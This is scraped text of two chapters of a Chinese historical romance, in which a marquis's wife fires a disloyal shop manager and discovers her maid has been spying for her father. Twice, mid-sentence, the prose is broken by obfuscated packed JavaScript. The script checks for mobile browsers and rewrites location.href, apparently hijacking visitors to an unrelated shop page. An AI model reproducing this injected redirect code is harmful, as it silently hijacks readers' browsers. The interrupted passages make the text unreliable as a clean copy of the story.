邵婉淑听出了他声音里的情绪,不想答,紧闭着眼睛不说话,装睡。然而,她不停转动的眼珠,屏住的呼吸,还是泄露了她早已醒来的事实。 黑暗中,裴行舟抬手将人揽入怀中,温热的唇准确落在了邵婉淑柔软的唇瓣上。 不知是不是鸡汤喝多了补过了头,今晚裴行舟格外热情。 邵婉淑疲惫地窝在裴行舟的怀中。若是天冷之时,这的确很舒服,可如今天气热了起来,再这样靠在一起就太热了。虽然刚刚重新擦过身子,可此刻感觉身上又要出汗了。她挣扎了一下,想要从裴行舟怀中挣脱出来。 裴行舟却将她紧紧圈在怀中,动弹不得。 他从前从来不会这样,今晚也不知怎么了。 邵婉淑见裴行舟枕着自己的枕头,而自己却动不了,推了推裴行舟:“你压到我枕头了,往边上去一下。” 裴行舟:“去不了。” 邵婉淑:“为何?” 裴行舟:“边上没有枕头。” 邵婉淑:…… 她怎么从裴行舟的语气里听出来一丝幽怨的情绪。想到自己又把他的枕头扔到了床尾,瞬间不似方才那般理直气壮了。 “那个……我以为你晚上不回来了。” 裴行舟:“哦,我还以为夫人喜欢两个人睡一个枕头。” 邵婉淑:…… 两人躺在一个枕头上实在是太挤了,还有些热,她倒也没这么想。 邵婉淑实在是理亏,推了推裴行舟,从床上坐起来,爬到床尾把裴行舟的枕头拿了过来,递给他。 裴行舟接过枕头,放在了邵婉淑枕头旁边。 邵婉淑以为裴行舟这次没有理由再用她的枕头了,结果,他还是保持方才的姿势和位置。 邵婉淑推了几下没推动,身子又比较疲惫,没那么多的精力跟他耗着,索性不再推了,渐渐睡着了。 第二日一早,去祥和院请安后,邵婉淑坐马车出府去了。书院旁边的那间书肆照常卖着书,生意还不错。城南的茶叶铺子已经关门了,刘掌柜和伙计们正在收拾着里面的东西。 最后,邵婉淑来到了城北的书肆。看着仍旧照常开着的书肆,她的眉头微蹙。 王掌柜看到邵婉淑来了,心里有些慌。侯夫人一向不怎么关注外面铺子的事情,他着实没想到侯夫人今日竟然会亲自来铺子里,他连忙快步走了过来。 邵婉淑什么都没说,等铺子里唯一一个顾客走了后,开口问道:“为何没有将铺子里的书运走?” 王掌柜:“夫人有所不知,这几日不好叫车,等过两日再找几辆车运走。” 京城不好叫车,这是什么鬼话?这话骗一骗那些不管家,大门不出二门不迈的女子或许还行,邵婉淑管家多年,自是不信。旁的地方不好说,京城的车尤其多,什么时候都能叫到。 她上次给过王掌柜机会了,是他没有珍惜。 “你既不想在我铺子里做掌柜的,那就另谋高就吧。” 邵婉淑说话的语气虽然依旧平静,但却带着一丝不容拒绝的意味。 王掌柜顿时心里一惊,他着实没想到邵婉淑会如此干脆利索地把他辞掉。 “夫人,我可在邵家干了十来年了,您不能说把我换掉就把我换掉。” 邵婉淑压根儿就不理他,她看向铺子里的伙计,道:“去把禄管事找过来。” 伙计立马就去了。 邵婉淑又看向另一个伙计:“叫几辆车,将铺子里的书全都搬到书院那边的铺子里。” 伙计刚来铺子没多久,不似王掌柜那般不把邵婉淑放眼里,他自然是要听东家的话,况且,这东家还是侯夫人。礼部侍郎和定南侯这两者该听谁的,他心里十分清楚。 “是,小的立即就去办。” 约摸过了两刻钟左右,禄管事匆匆来了。 “见过侯夫人。” 邵婉淑:“给他算工钱,让他结账走人。” 禄管事心里也是一惊,试探地问道:“夫人,王掌柜是铺子里的老人了,他做错了什么事吗?” 邵婉淑:“几日前我就吩咐过要收拾铺子,到现在铺子还保持着原样。” 禄管事忙解释道:“夫人有所不知,这事儿其实也不怪他。老爷不知如何得知了此事,不许将铺子改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005660|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为饭馆,王掌柜这才没改的。” 王掌柜立即道:“对,就是这样没错,是老爷没同意。” 邵婉淑没想到竟然是父亲在背后压着,他们不提父亲还好,一提到他她心头的火气就往上窜。 她抬眼看向禄管事和王掌柜,目光先落在了王掌柜的身上,冷声道:“作为铺子里的掌柜,你连真正的东家是谁都分不清,可见是糊涂极了。” 阿梨看了一眼邵婉淑。 王掌柜头一次发现大姑娘气势竟然这般强,从前他也见过她几次,没什么存在感。想到她如今的身份,他后背冷汗淋漓,不敢再多说一个字。 邵婉淑又看向了路管事,想到禄叔前世对自己的忠心,她强压住心里的火气,道:“禄管事,看在你在府中多年的份儿上,此事我不同你计较,我也知你为难。但你要认清身份,如今你是我身边的人,不再是侍郎府的人了。若你还这般为难,那就回侍郎府吧。” 禄管事忙道:“老奴这就将他遣走,只是,如今这铺子没有掌柜的也不好办。” 邵婉淑:“此事就无须你操心了。” 禄管事:“是。” 王掌柜见事情没有了转圜的余地,立即就慌了。 “夫人,我错了,求您再给我一次机会吧。” 如今他们家大姑娘嫁入了定南侯府,周围的商铺别提多羡慕他了,他不想丢了这个好差事。 邵婉淑:“你既不能为我赚钱,也不听话,我留你何用?” 王掌柜瞧出来邵婉淑是铁了心要撵他走,心里着实憋屈愤怒,但碍于邵婉淑的身份,他不敢多说什么。 不多时,伙计将车叫了过来。 邵婉淑:“你叫什么名字?” 伙计:“小的名叫阿运。” 邵婉淑:“这里的事暂且由你负责,把书记录在册,运去书院那边的铺子,再安排人将这里打扫干净,等着新掌柜来。” 阿运:“是,小的明白了。” 出了铺子后,邵婉淑上了马车。 阿梨一脸担忧,一副心事重重的模样。阿桔则是一脸骄傲,他们家姑娘总算是立起来了,不用再受侍郎府的气了。 阿梨终究还是没忍住,说出来自己的担忧:“夫人,老爷那边该如何交代?” 阿桔:“这铺子本就是属于夫人的,王掌柜不听话,早该辞了。” 阿梨:“话虽如此说,但禄管事和王掌柜是邵家的老人了,今日的事情他们怕是会跟老爷说。” 阿桔:“老爷知道了也会站在夫人这边的。” 阿梨可不这样想,她有些担忧地看向邵婉淑。 邵婉淑:“我既已经出嫁,就顾不得父亲那边了。” 见夫人主意坚定,阿梨反倒是心里轻松了些。她刚刚问出来那些话也是担心夫人没考虑清楚后果,既然夫人已经考虑好了,那就没什么可担心的了。从前夫人未出嫁时是侍郎府的姑娘,自然要听从老爷的,可如今她是侯夫人了,背后有侯府罩着,想必老爷惩罚姑娘时也要三思。 想到刚刚夫人处理事情时的神态和气势,阿梨感慨道:“夫人越发像侯爷了。” 阿桔笑着说:“你不说我都没发现呢,我说呢,刚刚夫人说话的语气像谁,原来是像侯爷。” 邵婉淑怔了一下,问:“我跟侯爷很像吗?” 阿梨和阿桔同时点头。 阿桔又补了一句:“从前夫人像老爷,现在不像了。” 从前她性子古板,有些迂腐,的确是像父亲的。她竟没发现自己不知不觉学了裴行舟的处事方式,果然跟谁待久了就像谁。 阿桔笑着说:“还是像侯爷好啊,不受委屈。” 邵婉淑也觉得像裴行舟比像父亲好,笑了下。 阿梨还担心邵婉淑会生气,见她笑了,松了一口气。 23.第 23 章 晚上,青云把前几日调查的事情告知了裴行舟。 “夫人身边去前院跟寅虎打探消息的婢女名叫阿梅,阿梅之前从寅虎那里打探完消息后就去告诉了她爹禄管事,然后再回内宅告知夫人,禄管事每三日回一趟侍郎府。” 裴行舟脸上没什么意外的表情,当初邵婉淑刚嫁过来时他便知晓了此事。 青云又道:“但怪就怪在,一个月前,阿梅从寅虎那里打探完消息后仍旧告知了她爹,但却没有再告诉夫人,禄管事仍旧每三日回一趟侍郎府。” 裴行舟瞬间就明白了是怎么回事。 “夫人知晓此事吗?” 青云:“应是不知晓的。” 裴行舟:“嗯。” 青云想到最近发生的事情,瞧出来侯爷十分关注夫人,便又多嘴说道:“属下还打探到夫人最近想把自己陪嫁的两间铺子改成别的行当,禄管事把此事告诉了邵侍郎,并且从中百般阻挠。” 裴行舟脸色一沉。一个奴才竟敢对主子不敬,当真是反了天了。 青云:“夫人今日将那不听话的掌柜的辞退了。” 裴行舟微微有些惊讶。从最近发生的事情看,她似乎一直在跟邵家作对。他虽然欣喜于她的改变,却不解其中的缘故。 “安排人手在一旁看着,莫要让人欺负夫人。” 青云:“是,侯爷。” 韶华院里,邵婉淑正吩咐阿梨和阿桔。 “阿梨,明日一早你去城北的书肆看一看,瞧瞧那小伙计有没有把书搬走。” 她不能只做甩手掌柜,有些事情还是要监督起来。 阿梨:“是。” 邵婉淑又看向阿桔:“你抽空去一趟庄子上,把林厨找来。” 阿桔:“好。” 阿梨听到邵婉淑的安排,多想了一层。往日,她和阿桔在宅子里伺候,外面的这些事情可都是由阿梅和禄叔办的。 “夫人,您这是怀疑禄叔了?” 邵婉淑:“禄管事的确是个忠心的,可惜他忠的人不是我,而是父亲。他对父亲太过忠心了,怕是不能为我所用了,往后要多麻烦你们二人了。” 前世,她和父亲没有任何的分歧,禄管事尽心为她办差事,如今起了分歧,禄管事的心便偏向父亲了。经历了前世的事情,她和父亲之间的关系不可能缓和。如此不忠之人,她自然不敢再用。 阿梨和阿桔对视一眼,连忙应下了差事。 听到外面有了些动静,邵婉淑没再多说什么。 不多时,裴行舟大步走了进来。 阿梨和阿桔退了出去。 等屋里只剩下裴行舟和邵婉淑二人时,裴行舟开口问道:“夫人最近可有再让阿梅打探消息?” 今日邵婉淑的心情本就不好,听到裴行舟这般问她,心里更是难受。他问这话是何意,还在怀疑她盯着他? “没有。我之前的确让她去打探过消息,但约摸一个月前,我从侍郎府回来的第二日就没再让她继续打探了。不管你信不信,事实就是如此,不然你把阿梅叫过来问问。” 裴行舟:“阿梅仍旧在打探消息,据寅虎说,一刻钟前,她去了二门处。” 邵婉淑此刻顾不上愤怒了,她大惊失色。 “这不可能。” 阿梅一向听她的话,她并未安排阿梅去查探裴行舟的行踪,她不可能自作主张的。 裴行舟知道邵婉淑是聪明人,有些话他点到为止,没再多言,只是坐在一旁静静喝茶。 看着裴行舟淡定的模样,邵婉淑心里一沉。裴行舟不是个喜欢开玩笑的性子,他也没必要在这件事上骗她。 可阿梅从小就陪着她,她们二人一同长大,前世阿梅从未背叛过她。虽然理智告诉她裴行舟说的可能是真的,可情感上她还是无法接受。 既然空想得不到答案,邵婉淑扬声道:“阿桔。” 阿桔连忙进来了。 邵婉淑:“你去把阿梅……不,你去问问阿兰,阿梅最近晚上可有出去过。现在就去,问完立马来报我。” 阿桔见夫人脸色不好看,也知此事严重,立即就去找阿兰打探消息了。一刻钟后,阿桔回来了。她看了一眼正坐在榻上喝茶的裴行舟,有些犹豫。 邵婉淑:“说。” 阿桔:“阿梅每晚都出去,因为夫人之前安排阿梅时阿兰并不在场,所以她只知阿梅得到了夫人的安排,并不知夫人早就不让她做此事了。她也曾问过阿梅,阿梅说是去见她父亲了。” 邵婉淑心里最后一丝希望也破灭了。 “我知道了,你退下吧。” 阿桔:“是。” 直到此刻邵婉淑仍旧难以置信,对她忠心耿耿的阿梅竟然会背叛她。她坐在榻上,半晌回不过来神。 裴行舟:“夫人让她打探什么消息?” 邵婉淑抬眸看向裴行舟,顿了顿,还是跟他说了实话。 “我让她打探侯爷有没有回府,还回不回内宅。” 听到这番话,裴行舟心头如同一根羽毛轻轻拂过。原来,她从未想过打探公务,只是作为一个妻子想知道丈夫的行踪,是他误会她了。他端起茶喝了一口,压下心头的躁动,又道:“阿梅打探的不止这些。比如,我晚上见了何人,说了什么话,做了什么事,甚至想要靠近书房。” 长痛不如短痛,有些事还是尽早解决为好,不忠心的人还是要尽早处理。 邵婉淑脸色骤变,站起身来。若只是打探裴行舟的行踪,还能用妻子关心丈夫来解释。但若打探得这般细致,那就是奸细了。 “侯爷,我从未这般吩咐过她。” 父亲和姑母的确安排她打探裴行舟的消息,但她并未听从。她觉得这事儿是小人行径,不够光明磊落,她不屑做这样的事。 裴行舟见她着急,放下茶杯,抬手握住了她的手。 “我知道,坐下说。” 从前二人接触虽不多,但他能看得出来她的性子。她性子有些古板,但为人正直,不会背后使阴招。 邵婉淑又重新坐回了榻上。 她万万没想到阿梅竟然阳奉阴违,背着她打探了那么多消息。她打探完并未告知她,那她是为何人打探的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010509|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息不言自明。 “她是……父亲的人?” 裴行舟点头。 禄管事听从父亲的安排,邵婉淑并不意外,因为禄管事一直在外院,二人接触不多。可阿梅一直在内宅中,在她身边多年。这么多年来,阿梅一直都很听她的话,她没想到如今她竟然罔顾她的吩咐,转而去听父亲的安排。 这对她打击极大。 但她毕竟和自己一同长大,相识多年。她忍住愤怒,问裴行舟:“侯爷打算如何处置她?” 阿梅探听侯府的机密,邵婉淑知道,以裴行舟的脾气定不会饶了她。 裴行舟:“她既然是夫人的人,那就由夫人来处置。” 邵婉淑松了一口气:“多谢。” 裴行舟看了邵婉淑一眼,没再提此事。 “时辰不早了,安置吧。” 一直到躺到床上,邵婉淑虽然心情仍旧低落,但此刻也缓和了些。 “多谢侯爷告知我此事。” 裴行舟:“你我是夫妻,不必如此客气。” 邵婉淑心头一直想着阿梅的事情,过了许久才睡着。 这一晚,她又梦到了前世。 裴行舟去世后,莲娘大着肚子登了侯府的门。这件事如同一颗石子投入了平静的湖面,泛起了波澜。京城中人人都在议论此事。 邵婉淑震惊不已,拒绝相信此事。 姜老夫人将莲娘安排在了侯府中一处偏僻的院落中。 身边所有人都在安抚邵婉淑,甚至告诉她,这对她而言是件好事。只要她承认莲娘肚子里的孩子,以后将孩子认在自己名下,将来整个侯府都是她的。若她不认的话,就要把侯夫人的位置拱手让出来。 她思索了数日,心里还是觉得此事古怪。 裴行舟一向不近女色,在京城时都没看中别的女子,为何偏偏在打仗时身边多了一个莲娘。而这个莲娘早不登门,晚不登门,恰好在裴行舟死后登门。因为心里存着怀疑,她便吩咐了阿梅,让她告知禄叔,去查一查这个莲娘的来路。 过了两三日,阿梅告诉她,莲娘是从西北来的,她也的确去过边关,听去过边关的人说曾在裴行舟身边见过她。 她最后一丝希望破灭,整个人十分绝望。 那种窒息的感觉袭来,邵婉淑从梦中惊醒,猛地从床上坐了起来。见自己还活着,后怕地抚了抚胸口,又躺下了。眼前一片漆黑,她心里的疑惑却被放大百倍。 若禄叔和阿梅早就背叛了她,那么他们所言之事是否是真的? 莲娘真的是裴行舟的人吗?若她不是,她又是谁的人,肚子里怀了谁的孩子? “又做噩梦了?”一道低沉的声音突然在身侧响起。 邵婉淑微微惊讶后又平静下来,裴行舟是武将,一向警醒,被她吵醒也是自然。 “抱歉,吵到侯爷了。” 裴行舟没接这话,反倒是有些感兴趣地问道:“梦到什么了?” 邵婉淑沉默片刻,道:“梦到侯爷身边有了别的女人。” 裴行舟:…… 不如不问。